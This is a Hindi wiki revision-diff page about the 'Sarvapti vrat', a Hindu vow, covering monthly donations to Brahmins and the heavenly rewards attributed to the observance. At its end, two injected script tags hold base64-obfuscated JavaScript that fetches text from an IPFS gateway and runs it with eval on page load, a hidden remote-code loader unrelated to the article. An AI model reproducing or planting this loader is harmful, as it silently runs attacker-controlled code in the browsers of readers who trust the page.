"सर्वाप्ति व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
छो (Text replace - ")</ref" to "</ref")
 
पंक्ति 6: पंक्ति 6:
*किसी [[ब्राह्मण]] को दिये जाने वाले दान [[पदार्थ]] चैत्र में गृहस्थी के लिए उपयोगी होते हैं, [[वैशाख]] में युद्ध सामग्री के योग्य, [[ज्येष्ठ]] में [[कृषि]] के लिए उपयोगी तथा [[आषाढ़]] में यज्ञ के लिए उपयोगी होते हैं।
*किसी [[ब्राह्मण]] को दिये जाने वाले दान [[पदार्थ]] चैत्र में गृहस्थी के लिए उपयोगी होते हैं, [[वैशाख]] में युद्ध सामग्री के योग्य, [[ज्येष्ठ]] में [[कृषि]] के लिए उपयोगी तथा [[आषाढ़]] में यज्ञ के लिए उपयोगी होते हैं।
*यही विधि आगे की अवधियों में, यथा–[[श्रावण]] तथा [[मार्गशीर्ष]] आरम्भ होने वाले मासों में लागू होती है।
*यही विधि आगे की अवधियों में, यथा–[[श्रावण]] तथा [[मार्गशीर्ष]] आरम्भ होने वाले मासों में लागू होती है।
*[[स्वर्ग]] की प्राप्ति, [[इन्द्रलोक]] एवं [[विष्णु]] से सालोक्य की उपलब्धि होती है।<ref>हेमाद्रि (व्रत खण्ड 2, 502-503, विष्णुधर्मोत्तरपुराण 3|140|1-13 से उद्धरण)</ref>
*[[स्वर्ग]] की प्राप्ति, [[इन्द्रलोक]] एवं [[विष्णु]] से सालोक्य की उपलब्धि होती है।<ref>हेमाद्रि (व्रत खण्ड 2, 502-503, विष्णुधर्मोत्तरपुराण 3|140|1-13 से उद्धरण</ref>


{{संदर्भ ग्रंथ}}
{{संदर्भ ग्रंथ}}

12:49, 27 जुलाई 2011 के समय का अवतरण


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 2, 502-503, विष्णुधर्मोत्तरपुराण 3|140|1-13 से उद्धरण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>